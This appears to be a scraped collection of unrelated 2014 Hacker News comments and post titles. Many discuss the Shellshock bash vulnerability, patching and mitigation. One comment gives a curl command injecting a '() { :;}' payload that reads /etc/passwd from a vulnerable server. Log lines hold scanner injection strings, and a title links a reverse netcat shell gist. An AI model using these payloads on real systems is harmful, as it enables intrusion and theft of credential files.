skysight-inc/HackerNews huggingface dataset:
I have an electrical engineering/signal processing background and, except for a few internships and the first year of my job, I have really been doing software development all the time. The fields are quite correlated but still I haven't really got a lot of formal training in Compute Science. I got the feeling that due to the nature of Internet, it is much each easier to learn and experiment with software, than say civil engineering. (But maybe because I have not looked close enough)

Software is eating the world anyway. Every field you have cited, and you can add education, healthcare,..., would benefit to have better connected, mobile, tools. I don't know your personal history, but if you want to have an edge you probably need to find an intersection between your own field and sw development. To take an extreme example, if you have been working for 5 years in day care, you are better prepared to create the "Uber for daycare" than a random guy with an idea.

I actually know lots of people who came from different fields and end up in software engineering because of the insatiable need of more sw everywhere. And more often than not, people with passion are better than people formally trained. I remember a guy who had a formal education in biology/horticulture but was writing some program in his spare time when he was a teen, and he was a terrific sw dev.
That is indeed an issue. One way to solve it is to make all declarations at top-level of the REPL into globals.

Another way would be to operate at block- instead of line-level and just not allow local variable to be shared between blocks. Ie

int i = 5 ↵
printf("%i", i) ↵

would fail, but

{ ↵
int i = 5; ↵
printf("%i", i); ↵
} ↵

would not.
Thanks. Suspected as much, but still a bit petrified that the shell var/func passed through perl to the backtick-shell.
OK so are those the only ones you know of? I am going to patch but just wondering about this category of attack in a more general sense so want to make sure I understand the scope of this particular one.

So say I have a server that is running a VPN (tinc). Then another system is connected to that same VPN network. Are you saying that by running a DHCP server on the second system, my server could be compromised?
Probably not, if you're not using a service with a user who uses bash as default shell.
Awesome, thanks. Seems like it would've.
Dresuar
şık modern tasarımlı ve zarif modeller

http://aynadunyasi.com.tr/
Welcome to the Lakoob
Can this help me find my cat? He's lost somewhere in my house. And before you ask, yes, he has a smart phone strapped to him.
This is a new trend starting in gaming industry. Apple has now started approving skill-based "gambling" games. One such example is Dollar Candy created by Ian Ippolito (who also created PlanetSourceCode.com and rentacoder.com). These games are addictive, you play against real human and there is money on the line in each game.

Gambling had been banned for a reason for long time in many cultures - it's all too common for poorest people to blow up their earnings in the hope of a jackpot. They do so not because they are less smart but because they are too desperate and don't have any other opportunity to making it through. Now game creators have found a loop hole in the law aka "skill-based" games. I can see lot of people barely making ends burning their kids school money in these stuff while standing in grocery lines.
Quick notes about the bash bug, its impact, and the fixes so far
Maybe some lisp hackers gradually find out that a lot of parenthesis is not that fun for everyone. Not meant to enrage Lisp hackers, I actually find parenthesis bearable.

There is also Pyret(http://www.pyret.org/) created by some people on the PLT team (you can confirm this by looking at the owner of their Github repo https://github.com/brownplt/pyret-lang). But more surprisingly it's implemented in JavaScript...
Top Pick for Lash Extensions in Atlanta GA
If I remember correctly, I believe there was a recent article stating that there was a new raise in fines for them pulling these shenanigans. I suppose most are still too rich to care, but if you had enough people calling them out consistently, I suppose it could make a difference.
I have same bash version and yet mine is vulnerable on OS X 10.10.
I love Australia, and I wish it would get the governments and leadership it deserves. Haven't lived there for 6 years, and I'm not sure if I will move back.
The Craziest Crowdfunding Projects
Virtual machines...
I think it's actually been pretty shameful how they've been milking everything they can for all it's worth - first the MH370 disaster, where for some reason it was Abbot on camera every night making announcements every time they found a tiny piece of debris off WA (probably none of which was related to the incident at all in hindsight), and then their going on and on about the Russia-Ukraine conflict, despite the fact we have absolutely nothing to do with it...

Now, we have this 'huge terror threat', milking the IS conflict in Syria and Iraq.
ShellShock exploited in the wild: kernel exploit with CnC component
That's the message you get on a patched machine. However, the patch is not sufficient: https://news.ycombinator.com/item?id=8365216 .
“Shellshock” Bash exploit scanner/checker
> Well, you could remove bash entirely (say, by replacing it with a link to dash)

Just did this, except I accidentally removed both bash and dash... it wasn't fun having to compile bash from source with zsh. For whatever reason it absolutely did not want to work.

But all back to normal now.
Investment Fund that invests into Domains
Exactly! The newbie web configuration is such a turn off, but the language is definitely better - events and all.
Ubuntu 10.04LTS - 14.04LTS appears to be patched: http://www.ubuntu.com/usn/usn-2362-1/

Logging into my server, things look good -- this is why you turn on automatic security updates. :)
Electricity stored as a temperature difference
Mock the hardware or set up a testing harness (mostly the same work as involved with setting up for hands-free git bisect ing on the kernel).
Thanks for reminding me about your project, which I saw earlier here! I was about to try it out and then forgot.
You're right. It should be tied to net worth rather than income.
All in all I feel that the market is basically seeking equilibrium.

For years, you had to buy at least a laptop if you wanted your mother to be able to use facebook to stay in touch with the family that maybe moved away.
Even back then, for such a usecase a laptop was overkill. But it was still a sale for the vendor.

Now, phones and tablets cover these things very nicely so it is only logical that sales of laptops decline.
What also helps explaining the lower sales is that quite frankly, for many many usecases where you might prefer a laptop over a tablet, a laptop from a couple of years ago is still very much sufficient to get the job done. There is simply no need to upgrade as frequently as we did in the past. Edge cases like heavy duty movie editing or rendering of course still require a more up to date machine, I imagine.
I guess it comes down to how you interpret things.

I specifically said any decent shell script. My logic is that if it is not using "sh", but instead relying on bash (or any other specific shell really), it's not a decent shell script.

If I were to amend the sentence to make the meaning clearer, I would still not use "should be", I would use "must be".
squeeze-lts is only available for i386 or amd64 architectures, I think, or you might be hitting an out-of-date mirror. You might try http://mirror.cc.columbia.edu/debian/ instead of http://http.debian.net/debian/
We need stuff like this for internal networks. I want to do deep checks on routers. Tips, anyone?
Oneirics: trigger lucid dreaming by tracking of eye movement
I seem to have woken up to a patched system too, i.e.

Start-Date: 2014-09-25 06:53:13
Upgrade: libnss3-1d:amd64 (3.17-0ubuntu0.14.04.1, 3.17.1- 0ubuntu0.14.04.1), libnss3-nssdb:amd64 (3.17-0ubuntu0.14.04.1, 3.17.1-0ubuntu0.14.04.1), bash:amd64 (4.3-7ubuntu1, 4.3-7ubuntu1.1), libnss3:amd64 (3.17-0ubuntu0.14.04.1, 3.17.1-0ubuntu0.14.04.1)

I am an happy ubuntu user, but I think in this case "unattended-upgrade" might have been enough?
I don't have the time right now to figure out what the default shell is and whether Ubuntu supports switching it, and whether I have any custom scrips or some such that assume /bin/sh is bash. So the easiest thing to do is just disconnect it for now.
The whole thing makes me feel physically nauseous. What the fuck is going on. I suddenly feel really really upset for my daughter growing up in this country, and will quite probably look to leaving if post-Abbott doesn't start reversing all this crap.
Maybe he should change the name of the site then, you can't just say everything is now on topic, unless of course all he cares about are hits.
Are you serious about web security? Upgrade it SHA-1 to SHA-2
After a couple of weeks of Google Announcement "Gradually sensation SHA-1"

I have tested some most popular web sites still using SHA-1 certificate by using this tool https://www.sha2sslchecker.com

microsoft.com, google.com, facebook.com, linkedin.com, amazon.com, paypal.com, 2checkout.com – still using a SHA-1 certificate.

I am shocked that announcer and other big brands aren’t serious about security and using weak algorithm.
Basically the same in Sweden. Many fines are defines in days wages rather than in fixed amounts. So the judge will simply fine someone 30 days wages and not worry about what that amounts to for that particular person
Australian Senate Introduces Laws to Allow Total Internet Surveillance
This is very shortsighted. Most people in the US use their car to get to work. Lenders have a vested interest in their borrower's current and future ability to earn money.
That update appears to only patch CVE-2014-6271 and not CVE-2014-7169 ( See: https://news.ycombinator.com/item?id=8365158 )

Although 7169 appears to be more difficult to exploit than 6271, you're not out of the woods until a patch gets distributed (+applied!) that covers both CVEs.
If it's truely unused, you should be using /bin/false instead of /bin/sh. Note that /bin/sh is not always dash in many cases, so just because you are using /bin/sh over /bin/bash doesn't mean you're not vulnerable.
Impraise (YC S14) looking for iOS dev in Amsterdam. Real-time feedback at work
Yes, this exploit can be used on any script or program that uses system(), whatever language you use.

Using bash as the default /bin/sh is the real bug here.
Using Columbia didn't help either. Using uname -m shows x86_64 so I guess that's it. I'll just have to wait for another update.
Thanks for that command btw; I got scanned by erratasec :D

209.126.230.72 - - [24/Sep/2014:23:13:20 +0200] "GET / HTTP/1.0" 200 29301 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 - - [25/Sep/2014:08:45:00 +0200] "GET / HTTP/1.0" 200 29292 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
Or an earlier version of bash (4.1), which I'm assuming (haven't installed any patches within the last month on a centOS6 machine) hasn't got the issue?
Sorry, it actually works. The point of the demo is to show the Coils framework works end to end, and has full MailChimp/Mandrill email integration too
Bash is big and bloated, and you already have the busybox sh probably. However apparently some do have bash....
Ah, yes. Brain-keyboard interface appears to be a bit wonky today.
size_t len = (src_size < dst_size) ? src_size : dst_size;
memcpy (dst, src, len); // or memmove
dst[len-1] = 0;

So not fills unecesary 0's and it's much more faster that any str?cpy
RHEL made a C shared object available that you can preload in everything which cleans up the environment of the magic "() {" bit : https://access.redhat.com/articles/1200223 (and apparently exactly that sequence has magic meaning; "( ) {" does not work )

For CGI scripts, only putting it in /etc/ld.so.preload worked for me. It seems like the CGI environment has LD_PRELOAD stripped (I checked /proc/apache_pid/environ which has LD_PRELOAD, but the CGI script running does not).
I wonder if it really makes sense comparing a language that is less than one year old to others that have decades of improvements and fine tuning behind them .

If there was a perfect language, all of us would be using it: each one is the result of compromises between features, performance, readability, simplicity...

For an argument against an hypothetical ObjC3, just look the unending transition between Python 2 and 3.
Easy: curl -i -X HEAD "http://[YOUR LOCAL IP]/" -A '() { :;}; echo "Warning: Server Vulnerable"'

If it shows Warning header, then you can read /etc/passwd with
curl -i -X HEAD "http://[YOUR LOCAL IP]/" -A '() { :;}; echo "PASSWD-File: " $(</etc/passwd)'
Same thing in South Africa. Very unfortunate - Series 9 was pretty much the best available line of laptops available here.
Using salt to push out updates, easy and fast. "salt * pkg.install bash refresh=True"
If your conclusion that the patch was bad is based on the fact that CVE-2014-7169 still exists, I think that's an unfair assessment.

The patch appears to have been a adequate fix to the bug that was discovered. The fact there is a second bug with a similar but not-identical attack vector, is a reflection on the robustness/correctness of the original code more than it is a reflection on the quality of the patch.
Glad you like it! I think your Elm framework has inspired alot of people. Elm and LightTable (the Clojurescript development environment) are my two big sources of ideas right now! Thanks to you! :)
Gwyneth Paltrow's Legs Star in Vanity Fair Tech Photo
Another option is Ch from Soft Integration [1], which has been making commercial grade C/C++ interpreters for a long time. The standard package is free and it comes with an IDE.

[1] https://www.softintegration.com/
> Swift just seems messy to me.

You probably mean "unfamiliar".

Give it some time, you'll soon realize how more modern Swift is than Objective C.
As usual, one just need a paredit equivalent to forget about parens forever. I also remember an extension (maybe emacs, or a scheme SRFI) removing the top-level parens (implicit rewriting rule).

repl> defun id (x) x

repl> defun fact (n)
(if (< n 2)
1
(* n (recur (1- n))))

A little more pleasant for people used in curly braces I'd say.
Possibly stupid question, but won't Ubuntu also publish these as soon as the fix is made available as well?
I really like the mobile app you posted here, very slick and fast!
I noticed it says that it "realizes the read-print-evaluate-loop" by which I assume you mean read-evaluate-print-loop.
BlackBerry CEO takes jab at Apple: Try bending our phone
Trivia: /bin/false (not surprisingly), exits with a failure. I read some time ago of some *nix (I don't recall which) recognizing that the attempt to start a shell (/bin/false) "failed" and helpfully starting /bin/sh for you so you could recover your system. I still use /bin/true as my "not a shell" shell for this reason.
Show HN: Soosci - redefine social networking
A Guide to AB Testing Your Content Marketing Resources
I apologize for your poor experience with Amazon, and have no doubt that many mistakes were made with your account.

But you should recognize that your experience is the exception not the rule. The vast majority of customers have nothing but good things to say, and Amazon works tirelessly to maintain that reputation.
> On OSX and Solaris, I've chmod'ed 0000 /bin/bash with no apparent ill effect so far.

In the case of OSX, /bin/sh is also bash. For some reason they are separate binaries (at least on my laptop running 10.9.5) but they're both really bash inside:

$ ls -ld /bin/sh /bin/bash
-r-xr-xr-x 1 root wheel 1228240 Sep 21 21:37 /bin/bash
-r-xr-xr-x 1 root wheel 1228304 Sep 21 21:37 /bin/sh
$ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
$ /bin/bash --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.

So even if you chmod bash to 0 you could still be exposed by anything that uses /bin/sh -- system(), popen(), most shell scripts, etc

(ETA: as I've mentioned elsewhere in this thread most people running OSX probably aren't badly impacted since they're not running CGI-based web software or other high-risk activity. I'm just pointing out that your bash-ectomy of OSX isn't as complete as you think it was)
NSS Doesn't Validate Certificates Correctly
iOS systems (unless jailbroken) do not have a shell of any sort; bash or otherwise.
TL;DR: because you need professionals for modern CG and programming, professionals deserve good pay and you need a lot of them, also considerable marketing is required for non-innovative games.
It's not really a "Poettering" thing.
More like a "Red Hat" thing. They control (= their employee are mantainers and developers of) most linux core userspace programs/libraries, starting from Udev and Dbus and Upower, they/their developers make the choices that matters in that regard.
It's how OSS operates.
Exactly what I thought I'd see.
The infringement isn't driving down the value. Market saturation and lack of scarcity are driving down the value. Copyright is an artificial construction, an attempt to create scarcity where there is none.

Copyright infringement is, in most cases, the result of asking too much money for a product that has very little intrinsic value and the addition of customer-unfriendly measures to legal alternatives (read: DRM and all its woes).
-Everything- that the government provides is paid for by taking money out of the real economy.
This is a load of balls, Australia is still a great place to live compared with the majority of countries in the world.
Progress on all fronts is driving the progress in exoplanets. The Kepler space telescope has been a huge driver, and Hubble, Spitzer, and big ground-based telescopes have played a big role; this new discovery is based on Hubble and Spitzer data runs plus comparison with Kepler data. Exoplanet search will take a giant leap with the planned launch of the TESS space telescope in 2017.

But this exoplanet was first discovered by a small network of at the time 6 extremely modest telescopes (just 110mm / ~4.3 inch objective diameter) automatically controlled by one Linux box in a project built by Gaspar Bakos when he was a student in Hungary.

http://arxiv.org/abs/0901.0282

http://www.astro.princeton.edu/~gbakos/
mdeslaur is an Ubuntu security engineer.
Functional Programming Is Great. But It Ain't Magic
I'm very happy to see Hy language among the official repos! I think more people should know about it.
> If we want to escape its gravitational pull, we’d need to accelerate ourselves up past the escape velocity, or the speed necessary to climb out of the gravitational potential well that Earth’s mass creates. We can (and have) accomplished this, in fact, but it would take a speed of around 11.2 km/s (or 0.004% the speed of light) to make it so.

This whole paragraph is wrong. You don't need to move at the escape velocity to leave our planet, you can move as slow as you wish, as long as you have enough fuel. Escape velocity is just a minimum velocity of a fuel-less projectile enough to leave the gravitational pull.
If you can confidently assert that every shell script your system runs is "decent", then you'll have no problem. The thing is, very few of us can confidently make that assertion.
If it really does beat HEVC there should be lots of interest.
Is this an alternative to the bash upgrade or is this needed to fix the issue after the bash upgrade (because of an incomplete patch)?
Which kernel exploit are they using? One of the old ones or is it a zero day?

This information is, frankly, more interesting than the fact that ShellShock is being exploited in the wild. Really, it was only a matter of time.
Quick glance:

- Remove the 'beta' tag [1]

- If this is a real LP, remove all navigation, your goal is to catch e-mail addresses here

- The headline and paragraph below are quite the same, use the paragraph to explain what I can do with it but keep it broad (plan your vacation, prepare a sales pitch, share recipes..)

- "Invite me" is a strange choice of CTA wording as you don' get invited but rather create a group. Why not "Create Group" or "Get started" alternatively can add some text below 'ready in 30 seconds' as you do below in the copy.

1: http://blog.sumall.com/journal/how-boost-sign-ups-website-ch...
Ahah, okay, makes sense. Thanks!

And THANK YOU SO MUCH for all your amazing work on this stuff, mdeslaur!
Good rant. I concur with respect to Optionals, but I don't mind the ObjC block syntax that much.

It's a real pain trying to find out what functions are actually applicable to a given value (bad reflection / discoverability / documentation).

My guess is that it will take ≥ 2 yrs until Swift can possibly replace ObjC, and even then only partially. ObjC is still a fully grown C, after all.
As Gabe Newell (Valve/Steam CEO) put it : "Piracy is almost always a service problem and not a pricing problem."

This guy built the 21st version of a Studio. it's not perfect (the model has its own problems) but at least it is in phase with the current world.
Shellshock vulnerability explained and example
Spotify Stole My Dream
CVE-2014-6271 cgi-bin reverse netcat shell

https://gist.github.com/schniggie/5eeeb8ac943b5c2bb356
What would you do if Spotify stole your most prized idea. Your dent in the universe. I have loads of proof that their new site: www.thatsongwhen.com is a ripoff of my idea.

Patent pending // email chain // financial statements //

They've even ripped off my tag line: "Every Song has a Memory" theirs: "Every Song has a Story"
On Debian or Ubuntu, install the unattended-upgrades package. Configure it to install security updates only.

> ...but the distribution hasn't made a package yet.

On Ubuntu, I think you can probably set up a Launchpad PPA and then configure unattended-upgrades to automatically pull from it. Then just push what you need to that PPA when you're ready.

If you want to host the repository elsewhere, then that's possible too, but you probably want to start with a PPA since you don't have to worry about build and publishing infrastructure to start off with.
It happens that if you are good at what you are doing you won't be promoted, because it will be hard to find someone to replace you. So you have to clearly signal that you want to move, because for your manager it might be more comfortable to know that you are here, reliable and productive.
"You furnish the pictures, I'll furnish the war." -- William Randolph Hearst

Every war in recent history has been preceded by massive, concerted media propaganda. World War I was extreme in this regard. The monopoly situation on mass media has not improved since then.
>is it a zero day?

The most obvious answer is no.
Depends, if WTL is plain C++ and compiles with Clang, then it should. If it uses MSVC extensions (like `guidof`) then it won't work. (I've never used WTL besides a little Hello World test.)
Talking about university loans, let's take a minute to share and contemplate the awesome system I've discovered in Australia: You can borrow money from the govt for your studies. The interest rate is only equal to the Consumer Price Index. You repay your debt through taxes after you start working, and your taxes are capped to something like 45% of your income.

Which means, if your studies don't land you a good job, you're not choked on the spot by banks. And it still transfers more responsibility to the student than subsidizing education to make it free.

http://en.m.wikipedia.org/wiki/Tertiary_education_fees_in_Au...

More countries should copy the same system for education loans.